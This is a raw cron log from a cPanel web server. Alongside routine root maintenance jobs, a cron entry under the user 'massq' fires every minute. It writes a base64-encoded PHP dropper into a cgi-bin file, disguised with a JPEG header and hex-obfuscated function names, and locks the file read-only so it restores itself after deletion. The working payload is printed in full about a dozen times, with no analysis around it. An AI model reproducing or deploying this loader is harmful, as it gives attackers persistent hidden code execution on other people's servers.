Sep  4 06:50:01 server CROND[2509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:50:01 server CROND[2512]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:51:01 server CROND[3373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:51:01 server CROND[3374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:51:01 server CROND[3375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:52:01 server CROND[3836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:52:01 server CROND[3837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:52:01 server CROND[3838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:53:01 server CROND[4207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:53:01 server CROND[4208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:53:01 server CROND[4209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:54:01 server CROND[4577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:54:01 server CROND[4578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:54:01 server CROND[4579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:55:01 server CROND[4962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:55:01 server CROND[4963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:55:01 server CROND[4964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:55:01 server CROND[4966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:55:01 server CROND[4967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:55:01 server CROND[4965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:55:01 server CROND[4968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:56:01 server CROND[5806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:56:01 server CROND[5807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:56:01 server CROND[5808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:57:01 server CROND[6277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:57:01 server CROND[6276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:57:01 server CROND[6278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:57:01 server CROND[6279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:58:01 server CROND[6699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:58:01 server CROND[6703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:58:01 server CROND[6701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:59:01 server CROND[7152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:59:01 server CROND[7153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:59:01 server CROND[7154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:00:01 server CROND[7558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:00:01 server CROND[7559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:00:01 server CROND[7561]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:00:01 server CROND[7563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:00:01 server CROND[7565]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 07:00:01 server CROND[7572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:00:01 server CROND[7571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:00:01 server CROND[7576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:00:01 server CROND[7574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:01:01 server CROND[8399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:01:01 server CROND[8401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:01:01 server CROND[8400]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 07:01:01 server run-parts(/etc/cron.hourly)[8400]: starting 0anacron
Sep  4 07:01:01 server CROND[8403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:01:01 server run-parts(/etc/cron.hourly)[8419]: finished 0anacron
Sep  4 07:02:01 server CROND[8775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:02:01 server CROND[8776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:02:01 server CROND[8777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
